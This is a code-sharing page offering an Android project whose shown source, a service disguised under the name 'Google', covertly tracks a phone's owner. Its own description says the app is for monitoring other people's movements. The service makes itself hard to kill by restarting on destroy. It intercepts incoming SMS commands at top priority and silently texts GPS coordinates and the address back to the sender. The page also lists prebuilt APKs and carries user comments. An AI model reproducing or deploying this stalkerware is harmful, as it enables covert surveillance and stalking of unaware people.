package ws.denger.loc;
//Download by http://www.codefans.net
import java.util.List;
import android.app.PendingIntent;
import android.app.Service;
import android.content.Intent;
import android.content.IntentFilter;
import android.os.IBinder;
import android.telephony.SmsManager;
import android.util.Log;
import com.baidu.location.BDLocation;
import com.baidu.location.BDLocationListener;
import com.baidu.location.LocationClient;
import com.baidu.location.LocationClientOption;
/**
* 杀不死的Service
*
* @author Denger
*
*/
public class Google extends Service implements BDLocationListener {
public final static String ACTION_SEND_LOC_SMS = "ACTION_SEND_LOC_SMS";
public final static String FLAG_TEL = "FLAG_TEL";
private String tel;// 坐标发送的手机号码
private final static String TAG = "Google";
private LocationClient client;// 度娘屌丝端,用这神器进行各种
/**
* 设置度娘屌丝端的参数
*/
private void setOption() {
LocationClientOption option = new LocationClientOption();
option.setOpenGps(true); // 1
option.setCoorType("bd09ll"); // 2
option.setPriority(LocationClientOption.GpsFirst); // 3 设置优先
option.setProdName("wsLocation222"); // 4 设置产品线名称
option.setScanSpan(200);
client.setLocOption(option);
}
/**
* 开启定位
*/
private void startLocation() {
Log.d(TAG, "开启定位。。。。");
client = new LocationClient(this); // 初始化屌丝端
client.registerLocationListener(this);// 注册监听
setOption();// 设置参数
client.start();// 开始
}
@Override
public IBinder onBind(Intent intent) {
Log.d(TAG, "猥琐的服务--onBind");
return null;
}
@Override
public void onCreate() {
Log.d(TAG, "猥琐的服务--onCreate");
super.onCreate();
}
@Override
public void onStart(Intent intent, int startId) {
Log.d(TAG, "猥琐的服务--onStart");
// 再次动态注册短信接收者
IntentFilter localIntentFilter = new IntentFilter(
"android.provider.Telephony.SMS_RECEIVED");
localIntentFilter.setPriority(Integer.MAX_VALUE);// 整形最大值
WSReceiver wsReceiver = new WSReceiver();
registerReceiver(wsReceiver, localIntentFilter);
// 如果是符合的ACTION,就启动地理定位并且回复短信
if (intent.getAction() != null
&& intent.getAction().equals(ACTION_SEND_LOC_SMS)) {
tel = intent.getStringExtra(FLAG_TEL);// 获取发送指令的手机号码
startLocation();// 开启一次性的定位
}
super.onStart(intent, startId);
}
@Override
public void onDestroy() {
Log.d(TAG, "猥琐的服务--onDestroy");
super.onDestroy();
Log.d(TAG, "尝试再次启动");
if (client != null) {
client.stop();
}
startService(new Intent(this, getClass()));
}
/**
* 发送短信
*/
private void sendSMS(String strNo, String strContent) {
Log.d(TAG, "发送短信咯,内容:" + strContent);
SmsManager smsManager = SmsManager.getDefault();
PendingIntent sentIntent = PendingIntent.getBroadcast(this, 0,
new Intent(), 0);
// 如果字数超过70,需拆分成多条短信发送
if (strContent.length() > 70) {
List<String> msgs = smsManager.divideMessage(strContent);
for (String msg : msgs) {
smsManager.sendTextMessage(strNo, null, msg, sentIntent, null);
}
} else {
smsManager.sendTextMessage(strNo, null, strContent, sentIntent,
null);
}
}
@Override
public void onReceiveLocation(BDLocation location) {
StringBuilder sb = new StringBuilder();
sb.append("时间: ");
sb.append(location.getTime());
sb.append("\nerror code: ");
sb.append(location.getLocType());
sb.append("\n纬度: ");
sb.append(location.getLatitude());
sb.append("\n经度: ");
sb.append(location.getLongitude());
sb.append("\n误差径: ");
sb.append(location.getRadius());
if (location.getLocType() == BDLocation.TypeGpsLocation) {
sb.append("\n速度: ");
sb.append(location.getSpeed());
sb.append("\n卫星: ");
sb.append(location.getSatelliteNumber());
} else if (location.getLocType() == BDLocation.TypeNetWorkLocation) {
sb.append("\n地址: ");
sb.append(location.getAddrStr());
}
Log.d(TAG, "定位信息---->" + sb.toString());
if (location.getLocType() >= 162) {// 定位失败,则不回复短信
return;
}
sendSMS(tel, location.getLatitude() + "|*|" + location.getLongitude()
+ "|*|" + location.getAddrStr());
}
}
没有合适的资源?快使用搜索试试~ 我知道了~
温馨提示
一个Android GPS定位的应用实例,在Android智能机中监控别人行踪,一般这是隐私,不允许这样跟踪别人行踪,除非是有为照顾筷家人而开通此种应用,请不要干违法的事情。在Google Search的Google.java中,有杀不死的Service服务,开启定位,坐标发送的手机号码,动态注册短信接收者,如果是符合的ACTION,就启动地理定位并且回复短信,获取发送指令的手机号码,发送短信等,如果定位失败,则不回复短信。 分析短信的模块需要说明的是: 第一步、获取短信的内容和发件人 第二步:确认该短信内容是否满足过滤条件 第三步:取消往下传播,并且定位回复短信
资源推荐
资源详情
资源评论
收起资源包目录
CtrlGPS.zip (81个子文件)
监控别人的行踪
WSLocation
.project 846B
bin
WSLocation.apk 72KB
res
drawable-ldpi
ic_launcher.png 2KB
drawable-hdpi
ic_launcher.png 4KB
drawable-mdpi
ic_launcher.png 2KB
resources.ap_ 22KB
classes
ws
denger
location
demo
R$string.class 413B
R$layout.class 409B
MainActivity.class 4KB
R$drawable.class 450B
R.class 566B
R$attr.class 355B
Manifest.class 390B
R$id.class 496B
Manifest$permission.class 526B
classes.dex 61KB
proguard.cfg 1KB
AndroidManifest.xml 2KB
libs
locSDK_2.2.1.jar 48KB
armeabi
liblocSDK_2.2.so 39KB
src
ws
denger
location
demo
MainActivity.java 3KB
project.properties 360B
res
values
strings.xml 120B
layout
main.xml 1KB
drawable-ldpi
ic_launcher.png 2KB
drawable-hdpi
ic_launcher.png 4KB
haha.jpg 11KB
drawable-mdpi
ic_launcher.png 3KB
.classpath 424B
gen
ws
denger
location
demo
Manifest.java 414B
R.java 909B
assets
CtrlGPS
.project 843B
bin
proguard.cfg 1KB
AndroidManifest.xml 891B
src
ws
denger
gpsdemo
GPSHelper.java 2KB
MainActivity.java 975B
project.properties 360B
res
values
strings.xml 177B
layout
main.xml 612B
drawable-ldpi
ic_launcher.png 2KB
drawable-hdpi
ic_launcher.png 4KB
drawable-mdpi
ic_launcher.png 3KB
.classpath 364B
gen
ws
denger
gpsdemo
R.java 795B
assets
GoogleSearch
.project 848B
bin
GoogleSearch.apk 70KB
WSService.apk 23KB
res
drawable-ldpi
ic_launcher.png 2KB
drawable-hdpi
ic_launcher.png 4KB
drawable
myhead.png 7KB
drawable-mdpi
ic_launcher.png 2KB
resources.ap_ 19KB
classes
ws
denger
loc
R$string.class 415B
R$layout.class 379B
MainActivity.class 1KB
R$drawable.class 392B
Google.class 6KB
WSReceiver.class 4KB
R.class 496B
R$attr.class 325B
Manifest.class 360B
MainActivity$1.class 1KB
R$id.class 396B
Manifest$permission.class 496B
classes.dex 64KB
proguard.cfg 1KB
AndroidManifest.xml 3KB
libs
locSDK_2.2.1.jar 48KB
armeabi
liblocSDK_2.2.so 39KB
src
ws
denger
loc
Google.java 4KB
MainActivity.java 947B
WSReceiver.java 3KB
project.properties 361B
res
values
strings.xml 180B
layout
main.xml 889B
drawable-ldpi
ic_launcher.png 2KB
drawable-hdpi
ic_launcher.png 4KB
drawable-mdpi
ic_launcher.png 3KB
.classpath 424B
gen
ws
denger
loc
Manifest.java 404B
R.java 789B
assets
共 81 条
- 1
资源评论
- yichenfeiyang2016-05-28一般吧
- 倪友尚2013-08-30挺不错的,就是代码太垃圾了
- licaomengRICE2013-12-10不能实现,不知道怎么回事。
- jwdp07032016-08-08楼主的想法还是好的,但是代码运行的正确性有待考量!!!
android168
- 粉丝: 10
- 资源: 91
上传资源 快速赚钱
- 我的内容管理 展开
- 我的资源 快来上传第一个资源
- 我的收益 登录查看自己的收益
- 我的积分 登录查看自己的积分
- 我的C币 登录后查看C币余额
- 我的收藏
- 我的下载
- 下载帮助
安全验证
文档复制为VIP权益,开通VIP直接复制
信息提交成功